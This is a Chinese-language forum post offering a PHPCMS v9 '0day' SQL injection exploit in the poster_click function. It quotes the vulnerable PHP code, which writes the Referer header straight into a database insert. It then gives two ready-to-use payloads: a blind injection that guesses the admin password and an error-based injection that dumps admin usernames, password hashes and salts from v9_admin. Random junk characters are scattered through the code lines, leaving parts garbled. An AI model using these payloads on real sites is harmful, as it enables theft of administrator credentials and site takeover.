phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

! |, r  E! V' y8 c: q) H& [6 mpublic function poster_click() {
: }% V+ _8 T6 w6 t- g' y$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
/ k3 M" z6 w- H! R0 r& X+ ?$r = $this->db->get_one(array('id'=>$id));
  b# X: p1 ^! M: C5 i7 x' Wif (!is_array($r) && empty($r)) return false;
. c& Y5 ?, s1 O# B; x" B9 X6 {0 l$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
" u3 w! b. {( T. M$area = $ip_area->get($ip);
6 k! `5 l3 c) h" i- l5 y& o( }$username = param::get_cookie('username') ? param::get_cookie('username') : '';
) s5 v. j/ c, S5 _/ `! dif($id) {
3 y% B/ s0 l' i; O& s: A* A$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
( k& T) V2 q) p( L7 s- X$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
" {. n; r- D$ Y. k+ S6 y2 p}
4 e$ d/ Y* I) w3 t# D8 Y$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
  f7 ^! b) t  F) Qheader('Location: '.$url);
}

6 x9 L! N: K$ N/ D+ R* C
; L$ N5 \) V5 L* E4 `
+ M5 ?9 u! W6 i' m" _4 v5 v7 V利用方式：

1、可以采用盲注入的手法：

. G9 K; a6 m5 L% }referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

* n. g& ^8 @* q通过返回页面，正常与否一个个猜解密码字段。
3 B) z3 }) i3 _+ q  f: w+ O5 V
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
! x# n! F  D# ~1 N) m
6 g) ~8 Y( ~, T* K; x  L; T, A此方法是爆错注入手法，原理自查。
